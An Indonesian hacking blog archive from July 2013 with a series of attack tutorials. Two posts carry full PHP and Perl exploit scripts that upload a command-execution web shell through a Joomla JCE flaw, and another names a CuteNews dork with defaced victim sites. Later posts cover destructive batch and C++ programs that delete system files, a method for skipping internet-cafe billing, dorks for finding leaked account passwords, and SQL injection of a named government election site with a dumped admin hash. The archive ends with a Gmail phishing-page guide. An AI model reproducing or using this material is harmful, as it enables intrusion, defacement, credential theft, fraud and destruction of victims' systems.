™[H]elmi_[H]acker's™: Juli 2013

Kamis, 11 Juli 2013

[Deface] CuteNews (upload shell)

Asslkm :D
nih trik nye.. :p
lngsung aj ya :D

Dork:
- Powered By CuteNews 1.4.6
- inurl:"news/file.php?file="

Poc/Exploit:
http://[localhost]/news/file.php?file=../users.db.php

Exploit d atas d gunakan untk mendownload user yg ad dlm site berikut :D hhe ..

Okay hasil dari saya:
shell: http://www.economia.uniba.it/news/data/files/fikri.php
Deface: http://www.studiodap.it/news.php

Maaf klo ad yg kurang jlas...
Tanyakan lngsung aj klo ad yg blm ngerti..
YM: fikriheroes

Okay smg brguna ya :D
Wassalam

More√

Joomla JCE 2.0.10 Shell Upload [Eksploit]

Dork : inurl:"/index.php?option=com_jce"
gunakan otak kalian untuk mencari . gunakan dork lain untuk mencari website yang berCMS joomla

menggunakan dua bahasa program PHP dan Perl

versi PHP : save as dengan ekstensi *.php

<?php

######################################### www.bugreport.ir ########################################

#

#                     iraq - h4ck Group

#

#

# Title:                  (Auto Shell Uploader in joomla) V0.1 - PHP Version Version

# Vendor:                 http://www.joomlacontenteditor.net

# Vulnerable Version:     JCE 2.0.10 (prior versions also may be affected)

# Exploitation:           Remote with browser

# Original Advisory:      http://www.bugreport.ir/index_78.htm

# Vendor supplied patch:  http://www.joomlacontenteditor.net/news/item/jce-2011-released

# CVSS2 Base Score:       (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5       

# Coded By:               iraqi h4ck

################################################################################​###################

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout", 2);

ob_implicit_flush (1);

echo'<html>

<head>

<title>JCE Joomla Extension Remote File Upload</title>

</head>

<body bgcolor="#00000">

<p align="center"><font size="4" color="#00ff00">JCE Joomla Extension Remote File Upload</font></p>

</font>

<table width="90%">

  <tbody>

    <tr>

      <td width="43%" align="left">

        <form name="form1" action="'.$SERVER[PHP_SELF].'" enctype="multipart/form-data"  method="post">

          <p></font><font color="#00ff00" > hostname 
(ex:www.sitename.com):    </font><input name="host" 
size="20"> <span class="Stile5"><font 
color="#FF0000">*</span></p>

          <p></font><font color="#00ff00" > path (ex: 
/joomla/ or just / ):            </font><input name="path" 
size="20"> <span class="Stile5"><font 
color="#FF0000">*</span></p>

          <p></font><font color="#00ff00" >Please 
specify a file to upload:           </font><input type="file" 
name="datafile" size="40"><font color="#FF0000"> * 
</font>

          <p><font color="#00ff00" >  specify a port 
(default is 80):             </font><input name="port" 
size="20"><span class="Stile5"></span></p>

          <p><font color="#00ff00" >  Proxy 
(ip:port):                                 </font><input 
name="proxy" size="20"><span 
class="Stile5"></span></p>

          <p align="center"> <span class="Stile5"><font 
color="#FF0000">* </font><font color="white" >fields are 
required</font></font></span></p>

          <p><input type="submit" value="Start" name="Submit"></p>

        </form>

      </td>

    </tr>

  </tbody>

</table>

</body></html>';

function sendpacket($packet,$response = 0,$output = 0,$s=0)

{

    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

    global $proxy, $host, $port, $html, $user, $pass;

    if ($proxy == '')

    {

        $ock = fsockopen($host,$port);

        stream_set_timeout($ock, 5);

        if (!$ock)

        {

            echo '<font color=white> No response from '.htmlentities($host).' ...<br></font>';

            die;

        }

    } else

    {

        $parts = explode(':',$proxy);

        echo '<font color=white>Connecting to proxy: '.$parts[0].':'.$parts[1].' ...<br><br/></font>';

        $ock   = fsockopen($parts[0],$parts[1]);

        stream_set_timeout($ock, 5);

        if (!$ock) 

        {

            echo '<font color=white>No response from proxy...<br></font>';

            die;

        }

    }

        fputs($ock,$packet);

        if ($response == 1)

        {

            if ($proxy == '')

            {

                $html = '';

                while (!feof($ock))

                {

                    $html .= fgets($ock);

                }

            } else

            {

                $html = '';

                while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))

                {

                    $html .= fread($ock,1);

                }

            }

        } else $html = '';

        fclose($ock);

        if ($response == 1 && $output == 1) echo nl2br(htmlentities($html));

        if ($s==1){

        $count=0;

        $res=nl2br(htmlentities($html));

        $str = 
array('2.0.11</title','2.0.12</title','2.0.13</title','2.0.14</title','2.0.15</title','1.5.7.10</title','1.5.7.11</title','1.5.7.12</title','1.5.7.13</title','1.5.7.14</title');

        foreach ($str as $value){

        $pos = strpos($res, $value);

        if ($pos === false) {

        $count=$count++;

        } else {

        echo "<font color=white>Target patched.<br/><br/></font>";

        die();

        }

        }

        if ($count=10) echo '<font color=white>Target is exploitable.<br/><br/></font>';

        }

}

  $host   = $_POST['host'];

  $path   = $_POST['path'];

  $port   = $_POST['port']; 

  $proxy   = $_POST['proxy']; 

if (isset($_POST['Submit']) && $host != '' && $path != '')

{

  $port=intval(trim($port));

  if ($port=='') {$port=80;}

  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) 
{die('<font color=white>Error... check the path!</font>');}

  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

  $host=str_replace("\r\n","",$host);

  $path=str_replace("\r\n","",$path);

                                                  /* Packet 1 --> Checking Exploitability */

            $packet  = "GET 
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20
 HTTP/1.1\r\n";

            $packet .= "Host: ".$host."\r\n";

            $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";

            sendpacket($packet,1,0,1);

                                        /* Packet 2 --> Uploading shell as a gif file */

            $content = "GIF89a1\n";

            $content .= file_get_contents($_FILES['datafile']['tmp_name']);

            $data    = "-----------------------------41184676334\r\n";

            $data   .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n";

            $data   .= "/\r\n";

            $data   .= "-----------------------------41184676334\r\n";

            $data   .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n";

            $data   .= "Content-Type: application/octet-stream\r\n\r\n\r\n";

            $data   .= "-----------------------------41184676334\r\n";

            $data   .= "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n";

            $data   .= "0\r\n";

            $data   .= "-----------------------------41184676334\r\n";

            $data   .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"0day.gif\"\r\n";

            $data   .= "Content-Type: image/gif\r\n\r\n";

            $data   .= "$content\r\n";

            $data   .= "-----------------------------41184676334\r\n";

            $data   .= "0day\r\n";

            $data   .= "-----------------------------41184676334\r\n";

            $data   .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n";

            $data   .= "upload\r\n";

            $data   .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n";

            $packet  = "POST 
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743
 HTTP/1.1\r\n";

            $packet .= "Host: ".$host."\r\n";

            $packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n";

            $packet .= "Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n";

            $packet .= "Accept-Language: en-us,en;q=0.5\r\n";

            $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";

            $packet .= "Cookie: 
6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; 
jce_imgmanager_dir=%2F; 
__utma=216871948.2116932307.1317632284.1317632284.1317632284.1; 
__utmb=216871948.1.10.1317632284; __utmc=216871948; 
__utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\
​n";

            $packet .= "Connection: Close\r\n";

            $packet .= "Proxy-Connection: close\r\n";

            $packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n";

            $packet .= $data;

            sendpacket($packet,0,0,0);

                                          /* Packet 3 --> Change Extension from .gif to .php */

            $packet  = "POST 
".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20
 HTTP/1.1\r\n";

            $packet .= "Host: ".$host."\r\n";

            $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";

            $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";

            $packet .= "Accept-Language: en-US,en;q=0.8\r\n";

            $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";

            $packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";

            $packet .= "Accept-Encoding: deflate\n";

            $packet .= "X-Request: JSON\r\n";

            $packet .= "Cookie: 
__utma=216871948.2116932307.1317632284.1317639575.1317734968.3; 
__utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
 __utmb=216871948.20.10.1317734968; __utmc=216871948; 
jce_imgmanager_dir=%2F; 
6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";

            $ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";

            $packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";

            $packet .= $ren."\r\n\r\n";

            sendpacket($packet,1,0,0);

                                          /* Packet 4 --> Check for successfully uploaded */

            $packet  = "Head ".$p."/images/stories/0day.php HTTP/1.1\r\n";

            $packet .= "Host: ".$host."\r\n";

            $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n";

            sendpacket($packet,1,0,0);

  if(stristr($html , '200 OK') != true)

  {echo "<font color=white>Exploit Faild...</font>";} else 
echo "<font color=white>Exploit 
Succeeded...<br>http://$host:$port$path"."/images/stories/0day.php</font>";

}

?>

versi Perl : save as dengan ekstensi *.pl
buka cmd > cd Desktop > jce.pl (jika file berada di desktop)
[Image: XjKDL92.png]

untuk windows download dulu program perl DISINI

untuk linux langsung jalanin aja
scriptnya :

Code: 

#!perl/usr/bin

######################################### www.bugreport.ir ########################################

#

#                     AmnPardaz Security Research & Penetration Testing Group

#

#

# Title:                  Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 - PHP Version

# Vendor:                 http://www.joomlacontenteditor.net

# Vulnerable Version:     JCE 2.0.10 (prior versions also may be affected)

# Exploitation:           Remote with browser

# Original Advisory:      http://www.bugreport.ir/index_78.htm

# Vendor supplied patch:  http://www.joomlacontenteditor.net/news/item/jce-2011-released

# CVSS2 Base Score:       (AV:N/AC:L/Au:N/C:P/I:P/A:P) --> 7.5       

# Coded By:               iraqi h4ck

################################################################################​###################

use IO::Socket;

use LWP::Simple;

 system("cls");

if(!defined($ARGV[0])) {

print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.\n\n";

print "\t||||        Coded by: iraqi h4ck (admin[@]0-Day[dot]net)      ||||\n\n";

print "\t+--> Usage:   perl $0 <host>        <--+\n";

print "\t+--> Example: perl $0 localhost     <--+\n\n";

exit; }

print "\n\n\t.::. Exploit for JCE Joomla Extension (Auto Shell Uploader) V0.1 .::.\n\n";

print "\t||||        Coded by: iraqi h4ck (admin[@]0-Day[dot]net)      ||||\n\n";

$TARGET = $ARGV[0];

$PORT   = "80";

$SCRIPT = "/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20";

$SHELL  = "/images/stories/0day.php?cmd=";

$HTTP   = "http://";

$header1G = "GET $SCRIPT HTTP/1.1";

$header1H = "HEAD /images/stories/0day.php HTTP/1.1";

$header1P = "POST 
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b
 HTTP/1.1";

$header1P2 = "POST 
/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20
 HTTP/1.1";

$header2 = "Host: $TARGET";

$header3 = "User-Agent: BOT/0.1 (BOT for JCE)";

$header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";

$header5 = "Content-Length: 769";

$header6 = "-----------------------------41184676334";

$header7 = 'Content-Disposition: form-data; name="upload-dir"';

$header8 = '/';

$header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';

$header10 = 'Content-Type: application/octet-stream';

$header11 = 'Content-Disposition: form-data; name="upload-overwrite"';

$header12 = "0";

$header13 = 'Content-Disposition: form-data; name="Filedata"; filename="0day.gif"';

$header14 = 'Content-Type: image/gif';

$header15 = 'GIF89aG';

$header16 = "<? system($_GET['cmd']);exit; ?>";

$header17 = 'Content-Disposition: form-data; name="upload-name"';

$header18 = '0day';

$header19 = 'Content-Disposition: form-data; name="action"';

$header20 = 'upload';

$header21 = "-----------------------------41184676334--";

$header22 = 'X-Request: JSON';

$header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';

$header25 = 'json={"fn":"folderRename","args":["/0day.gif","0day.php"]}';

$header24 = "Content-Length: ".length($header25)."";

############################################### Packet 1 --> Checking
 Exploitability 
#########################################################

print "\n[*] Checking Exploitability ...\n\n";

sleep 2;

$pageURL=$TARGET.$SCRIPT;

$simplePage=get($pageURL);

@arr = 
("2.0.11</title","2.0.12</title","2.0.13</title","2.0.14</title","2.0.15</title","1.5.7.10</title","1.5.7.11</title","1.5.7.12</title","1.5.7.13</title","1.5.7.14</title");

while (($count!=10) && ($die != 1)) {

    foreach $arr(@arr){

        if ($simplePage =~ m/$arr/) {

            print "\n[*] Target patched.\n\n";

            $die = 1;

        } else {

            $count++;

                }

        }

    }

 if ($count==5) {print "[*] Target is exploitable.\n\n"};

############################################### Packet 2 --> 
Uploading shell as a gif file 
#########################################################

$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT")

|| die "Can't connect to $TARGET";

print "[*] Trying to upload 0day.gif ...\n\n";

print $remote 
"$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$head
​
er8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$heade
​
r6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header
​18\n$header6\n$header19\n\n$header20\n$header21\n\n";

sleep 2;

############################################### Packet 3 --> Change 
Extension from .gif to .php 
#########################################################

print "[*] Trying to change extension from .gif to .php ...\n\n";

$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET" ,PeerPort=>"$PORT")

|| die "Can't connect to $TARGET";

print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n​";

############################################### Packet 4 --> Check 
for successfully uploaded 
#########################################################

$shellurl=$TARGET.$SHELL;

$output=get($shellurl);

while ($output = <$remote> ) {

if ($output =~ /200 OK/) {

print "[+] 0day.php was successfully uploaded\n\n";

print "[+] Path:".$TARGET.$SHELL."id\n";

}}

# 7C4643B34954D553   1337day.com [2013-06-26]   EEEAFCBC0C7B0F73 #

More√

[Eksploit] Shop737 FileUpload Vulnerability

Assalamualaikum wr. wrb.

oke kita langsung ke point nya aja ya Onion-72

- Dork intext:"Powered by Shop737" bisa di edit
- Jika sudah dapet, langsung di coba targetnya
- Misal localhost/poto/index.php ganti "index.php" dengan "upload.php" (contoh : localhost/poto/upload.php)
- Setelah itu, kamu akan diminta untuk memasukan username & password. Isikan saja dengan data default sperti berikut
Username : admin
Password : admin
- Dan jika sudah masuk, kamu akan melihat beberapa form sperti pada gmbar berikut

Spoiler: Greget

*Sebelum meng-upload file, kamu harus membuat folder baru dulu atau tinggal pilih folder yg sudah ada saja, lalu upload
*Tidak semua website bisa dimasukan dengan username & password admin : admin

- Jika sudah ter-upload, tinggal panggil file yg sudah kamu upload tadi seperti ini localhost/poto/FOLDER/FILE.txt
(contoh: localhost/poto/aku/ganteng.txt)
- Done =))

Hasil :
pedulikarnivorjawa . org/poto/phl/.txt

kalo baek, lemparin like nya yah Onion-15

sumber : Paembang Hacker Link

Wassalamualaikum wr. wb.

More√

Rabu, 03 Juli 2013

Tutorial Hack Billing Warnet tanpa software

Metode ini hanya sederhana hanya dengan mematikan billing diwarnet kita dapat ber internetan ria tanpa kena biaya alias biayanya tetap nol dan tidak pakai software softweran . dan sebelumnya saya hanya ingin memberitahu kepada sobat bahwa disini saya hanya membagikan ilmu , saya tidak bertanggung jawab atas penyalah gunaan ilmu ini .. Oke langsung saja simak caranya ;

Cara Hack Billing Warnet Tanpa Software :
pertama pilih komputernya dan lakukan prosedur berikut

merestart.nya…. kemudian pas ada tulisan WELCOME pada windows persiapkan diri anda untuk menekan tombol ctrl+alt+del,jangan sampe kedahuluan muncul ya BILLING.NYa!…. lalu setelah anda tekan tombol tadi maka akan muncul windows task manager, lalu klik END TASK pada progam Billing.nya, jreeeeeeeenk, udah deh kita bisa internetan tanpa harus bayar

kalau ketahuan gimana, gampang tinggal bilang saja, komputer ini dari tadi sudah hidup, beres khan

tetapi dosa ditanggung sendiri yaaa

Cara Yang Kedua Menghack Billing
Oke gk usah basa-basi ,, langsung Aja Ke TKP

-Pertama Restar Komputer Client
-Ntar Jendela Billing Keluar Lagi Please Wait
- Hanya Panduan Dan Admin Yng Bisa Diklik
- Dengan Cepat Langsung Aja Ambil Admin nya
- Nama usernya biarkan Admin passnya 008
-TRus klik ok
- Klik Exit Client Dan berikan Pass nya 008 juga
-ntar keluar lagi jendelanya,,
-Ada Tulisan Exit Client yng dipojok kanan bawah ganti passwordnya dengan 008
-lalu klik ok,, jreeeeeeeeng.,,,,,, JENDELA BILLING SUDAH TERBUKA,,, SELAMAT MENIKMATI..,,

Cara Yang Ke Tiga Menghack Billing
Langsung Aja Ke TKP
PERHATIAAN!!!!
TIPS INI HANYA BERLAKU UNTUK YANG MAEN PERSONAL, TIDAK BERLAKU UNTUK PAKET,.. OK,,,

-Misalnya duit anda sedang bokek,,
-Main aja dulu beberapa menit,
-Setelah Itu Stand By kan komputer kalian
-Suruh Operator Matikan Komputer kita,,,,jangan dimatikan melalui komputer client ,,udah dimatikan komputer client (kita) oleh operator
- Jangan di pencet tombol yang kecil pada Bagian bawah CPU,, itu akan merestar komputer kita
- Pencet lah tombol yang besar untuk menghidupkan kembali komputer kita,,,
- waktu komputer menyebutkan WELCOME ada program yang belum ditutup
- Pencet yang di tengah-tengahnya ,,udah deh ,, jendelah billing udah di jebool oleh program yang belum ditutup.., ,,,

More√

Download Game Untuk Belajar Hacker

Sudah tak aneh kan dengan kata hack? Yups, hacking kini banyak digemari oleh orang-orang yang suka dunia IT. Nah, ingin tahu seberapa hebat kan insting anda dalam dunia hacking? cobain Game Hacking ini. Ringkasan ceritanya, anda seolah-olah menerima misi dari system. nah tugas anda ialah menjalankan misi dari system. Nah, saya akan membagikan sedikit tips awal untuk Game Hacking yang satu ini.

1. Jika anda sudah download buka folder dengan winrar dan exstrak folder terlebih dahulu
2. Jalankan HackTheGame.exe
3. Pada Mission Pack pilih . Originial-Indonesia
4. Masukkan ID hacker ( nama samaran untuk dunia hack ) seperti saya hacker idnya Helmi_Jr

5. Kalau sudah tekan [ENTER]
6. Untuk menerima misi klik inbox

So, cobain sekarang dan download gamenya :
http://www.mediafire.com/?w1qx1aakdidpidk

More√

Selasa, 02 Juli 2013

cara membuat virus sederhana tapi berbahaya

Silahkan copy paste seluruh script yang ada disini ke notepad, truz save dengan extensi .bat, lalu jalankan. Tinggal lihat efeknya di komputer…..
Virus 1 :

@ECHO OFF
:begin
del c:\windows\system32\drivers\*.sys
del c:\windows\system32\drivers\*.dll
Echo Tutup program ini atau komputer kamu error!
pause
Echo Windows kini berusaha menagkal virus..
pause
Echo 10 ( detik )
pause
Echo 20 ( detik )
pause
Echo 30 ( detik )
pause
Echo 40 ( detik )
pause
Echo 50 ( detik )
pause
Echo 60 ( detik )
Start Notepad
Start Notepad
Start Notepad
Start Notepad
Start Notepad
Echo ( Virus Dijalankan.. )
pause
Echo Do Kamu suka paint?
start mspaint
start mspaint
start mspaint
start mspaint
start mspaint
Pause
Echo 70 ( detik )
Pause
Echo Jam di komputer sudah di ubah 12:00
Time 12:00
pause
Echo Virus menginfeksi…..
Start mspaint
Start mspaint
Start mspaint
Start mspaint
Start mspaint
Start mspaint
Start mspaint
Pause
echo awww… !
echo ini yang kamu dapatkan dari aku!
Pause
Start notepad
Start notepad
Start notepad
Start notepad
Start notepad
Start notepad
Start notepad
pause
md Loser.bat
md Fucker.bat
md shutup.bat
md amit-amit.bat
pause
md ShwAgl1.bat
md ShwAgl2.bat
md ShwAgl3.bat
md ShwAgl4.bat
md ShwAgl5.bat
md Apakabarkamusekaranghuh?.bat
echo ( SEKARANG LIHAT KE DEKSTOP FUCKER )
pause
echo sekarang minta maaf dan bersikap baik sama ShwAgl,stoopid
echo karena kamu g tutup programnya by v-hacker
pause
echo oke sekarang lihat ha..ha..ha…XD (v-hacker)
rundll32.exe shell32.dll,SHExitWindowsEx 2
echo Sekarang katakan "bye… bye…"

itu yang agak berbahaya,nah yang ini yang beneran bahaya Onion-106

Virus yang ini mungkin dikategorikan berbahaya, dikarenakan bisa menghapus file .dll dan membuat komputer tak bisa booting. Jadi hati-hati, kalau mau coba, coba di komputer yang udah mau rusak aja.

Langkah - langkah
1. Siapkan tool C++ (Seperti dev c Portable dan yang sejenis)
2. Copy Code di bawah ini

#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove(”C:\\windows\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}

3. Program ini akan menghapus hal.dll , jadi jangan dieksekusi karena bisa menyebabkan gagal booting.
4. Kalau mau yang advance, copy code di bawah ini

#include
#include
using namespace std;
int main(int argc, char *argv[])
{
std::remove(”%systemroot%\\system32\\hal.dll”); //PWNAGE TIME
system(”shutdown -s -r”);
system(”PAUSE”);
return EXIT_SUCCESS;
}

5. Perbedaan dengan kode yang pertama adalah pada proses pencarian directory system secara sistem. (Kode pertama hanya bisa menghapus kode hal.dll jika dilteakkan di directory C: , sedangkan ini akan otomatis mencari.
6. Jangan coba di komputer yang masih normal-normal. Coba di komputer yang kira-kira sudah rusak berat saja. Onion-90

More√

cara mengetahui password wifi

Ass wr.wb . . .

maaf nih newbie bikin postingan Onion-52

langsung saja ya, maaf kalau threed ane gk bermutu . .

berikut cara mengetahui password wifi :

1.pertama download tools wirelesskeyview, bisa download dsini: http://dl-here.com/download-wirelessnetview/
2.jika operasi sistem kalian memakai windows xp, SP2 ane sarankan menginstal KB918997 . bisa di download dsni : http://download.microsoft.com/download/c...86-ENU.exe setelah instal update tersebut
3. selanjutnya instal wirelesskeyview

[Image: wirelessnetview.gif]

4. semestinya password wifi yg kalian cari sudah ditemukan

Semoga bermanfaat

More√

Exploit phising social network

Assalammualaikum WRB !
*maaf Non Muslim

.....Selamat malem ini ,
Sukses dh Acara kemaren walaupun aku Nggak Ikut :D
- Udah akh, OOT
Ok , kali Ini mau Share sedikit Ilmu HACKING :)
tadi dah dapet ijin dari Kak Uba soalnya Tutorial ini kadang Juga merugikandan Menguntugkan, Ruginya sih yang kena dan Untungnya sih yang dapet Onion-90

. Karna kek TRIT aku kemaren " TUTORIAL HACK AKUN GEMSCOOL RANDOM " itu cukup merugikan, dan kata Kak Uba suruh DELETE !

Quote: CATATAN :
• Disini aku cuman Mengajarkan tidak Bertanggung jawab atas HAL" yang tidak diinginkan !

• Gunakan Dengan BIJAK, bukan ajang PAMER / SHOW OFF dan merasa Hebat !

Basmalah dulu :D
•> Tools [ Alat" ]

- Otak
- Mesin Search [ Google / Yahoo / Ask / etc. ]

......
•> STEPS [ Tahap / Tutorial ]

Sebenernya ini Hanya permainan Google DORK !
dan Ini juga RANDOM !
jadi Tidak menutup kemungkinan Acak dan tidak FOKUS ke Satu Target !

• Dork :
ext:txt "username" "password" @ymail.com
ext:txt "username" "password" @yahoo.com
ext:txt "username" "password" @gmail.com

- Pakai Salah Satu ajh

1.) Buka Mesin Search [ Google atau apalah ]
2.) Ketikkan diMesin Search kek Gini [ Cukup Dorknya ajh ] , jangan yang laen Kek Di SS :D
SS : http://prntscr.com/vw0x8
3.) Carilah Website / Link yang Berisi TEXT akun Facebook..
Sebagai Contoh : KLIK SINI
4.) Taraa.... Dapet dah Onion-106

Ehmm...
Mantep tuh :D
Kalo Beruntung bisa RATUSAN akun dan bahkan RIBUAN akun facebook loh Th_0pride

Wedewww.... KEREN dah Onion-106

More√

Hack DCS.KPU.GO.ID

Sore kaka-kaka semua saya ingin memberikan sebuah tutorial iseng-iseng semoga aja bermanfaat.Mau tau kesiapan pemilu 2014 dari segi IT nya (eh ternyata belom siap) To the point aja deh...
pertama langsung ke TKP aja yah http://www.dcs.kpu.go.id

terus pilih salah satu partai contoh :

http://dcs.kpu.go.id/index.php?go=dcs-dpr&partai=01

jika kita kasih tanda kutip apa yang akan terjadi

http://dcs.kpu.go.id/index.php?go=dcs-dpr&partai=01'

tralala..lala..

"Gagal query You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''01''' at line 1"

tuh kan bener belom siap dari sisi IT nya...ehhee

Langsung aja kita buka tools Havij pake versi apa aja terus scan dan hasilnya kita bisa liat :

Quote:Havij 1.152 Pro!
Analyzing http://dcs.kpu.go.id/index.php?go=dcs-dpr&partai=01
Host IP: 103.21.228.23
Web Server: Apache/2.2.22
Powered-by: PHP/5.4.4-14+deb7u2
Can not find keyword but let me do a try!
I guess injection type is Integer?! If injection failed, retry with a manual keyword.
DB Server: MySQL
Selected Column Count is 7
Injection type is String (')
Cannot find string column!
Current DB: dapildb
MySQL error based injection method can be used!
Count(table_name) of information_schema.tables where table_schema=0x646170696C6462 is 42
Can not get all tables by group_concat!
Count(table_name) of information_schema.tables where table_schema=0x646170696C6462 is 42
Table found: bagian_kab
Table found: bagian_kec
Table found: content
Table found: dpkab
Table found: dpprop
Table found: dppusat
Table found: fagama
Table found: fbacaleg_dpd
Table found: fbacaleg_dpr
Table found: fbacaleg_dpr_backup
Table found: fbacaleg_dprd1
Table found: fbacaleg_dprd2
Table found: fdaerah
Table found: fdp_dpr
Table found: fdp_dprd1
Table found: fdp_dprd2
Table found: fkec
Table found: fklurah
Table found: fkursikab
Table found: fkursiprop
Table found: fkursipusat
Table found: fpartai
Table found: fpekerjaan
Table found: fpendidikan
Table found: fprop
Table found: fstatus
Table found: gallery
Table found: logs
Table found: menu
Table found: messenger
Table found: news
Table found: posisi
Table found: sidebar
Table found: slider
Table found: template
Table found: tps
Table found: user
Table found: user_oauth
Table found: user_profile
Table found: user_role
Table found: users
Table found: users_profile

haha...dan akhirnya sampai dapat username dan passwordnya

Data Found: username=admin
Data Found: password=D31A823FCA7D722CCA8A6F6355A42474

sekian tutorial iseng iseng ini semoga bermanfaat untuk kita semua dan kemajuan bangsa kita...

Thanks...

exTwo.*x2 | CIPUTAT CYBER TEAM[/quote]

More√

Cegah DDOS dengan menutup akses internasional

Cegah DDOS dengan menutup akses internasional

Gini gw buat tread ini awal nya cuma coba2 sekalian pentest
btw ini buat sharing dan belajar bro,...

cekidot,...

blom lama ini sedang maraknya DDOS
jadi gw buat ini buat ngatasin nya ,...ada beberapa cara untuk mencegah nya dan ini salah satunya

kebanyakan ddoser indonesia melakukan ddos attack menggunkan shell dari webserver luar negeri...
bila ada serang ddos keserver kita dan kita tinggal jalanin scrit dibawah ini

Code:
wget http://ixp.mikrotik.co.id/download/nice.rsc
cat nice.rsc | awk -F"address=" '{print $2}'| awk -F"\"" '{print $2}' > list.ip.txt
for a in $(cat list.ip.txt);
do
iptables -A INPUT -s $a -j ACCEPT;
done
iptables -P INPUT DROP

scrift ini disave dan kasih nama kunciinternasional.sh

kemudian masukkan keserver nte..kemudian jalankan
root@Private : ./kunciinternasional.sh

maka dengan perintah tersebut ip ip dari luar tidak bisa mengakses keserver kita... atau sama saja kita memblokir semua ip luar untuk membuka website atau server kita

adapun untuk membukanya kembali tinggal jalanin scrift dibawah ini
iptables -P INPUT ACCEPT
rm -f nice.rsc
wget http://ixp.mikrotik.co.id/download/nice.rsc
cat nice.rsc | awk -F"address=" '{print $2}'| awk -F"\"" '{print $2}' > list.ip.txt
for a in $(cat list.ip.txt);
do
iptables -D INPUT -s $a -j ACCEPT;
done

kemudian save dan berinama openinternasional.sh

cara jalaninnya sama seperti diatas
root@Private : ./openinternasional.sh

pembahasan ini merupakan pertolongan pertama apabila server kita kena ddos attack

More√

Senin, 01 Juli 2013

Gmail Fake Log In Step by Step

OK KK... DI TUTORIAL SELANJUT NYA

SEKARANG KITA AKAN MEMBAHAS BAGAIMANA CARA UNTUK MEMBUAT FAKE LOG IN GMAIL.COM

APA SAJA BAHAN YANG KITA SIAP KAN ADALAH SEBAGAI BERIKUT :

A. fake log in http://www.fileserve.com/file/FbMHgTd
B. HOSTING GRATIS
SILAKAN PILIH
* www.yourfreehosting.net
* www.esmartstart.com
* www.110mb.com
* www.drivehq.com
* www.t35.com

SILAKAN KK PILIH SALAH SATU HOSTING DI ATAS KLO SAYA GUNAKAN YANG www.t35.com ( GA USAH DI AJARI KAN BUAT ACCOUNT KATANYA MAU JADI HACKER JADI BELAJAR SENDIRI :d =)) )

*CATATAN .. SETELAH ANDA MENDAFTAR CHECK EMAIL ANDA YANG KARNA ADA ACTIVASI LINK DISANA ...

1. SETELAH KITA DAPAT ACCOUNT DI WEBSITE TERSEBUT TINGGAL KITA UPLOAD AJA
CARANYA ( SAYA GUNAKAN www.t35.com SEBAGAI HOSTING ) .. CONTOH NYA :

2. BUAT DIRECTORY(FOLDER)

[Image: 3yyhk.jpg]

3. kemudian beri nama seperti contoh directory nya di beri nama gmail

[Image: Ixlxy.jpg]

4. setelah directory kk buat kembali lagi ke halaman utama

[Image: 0vDXi.jpg]

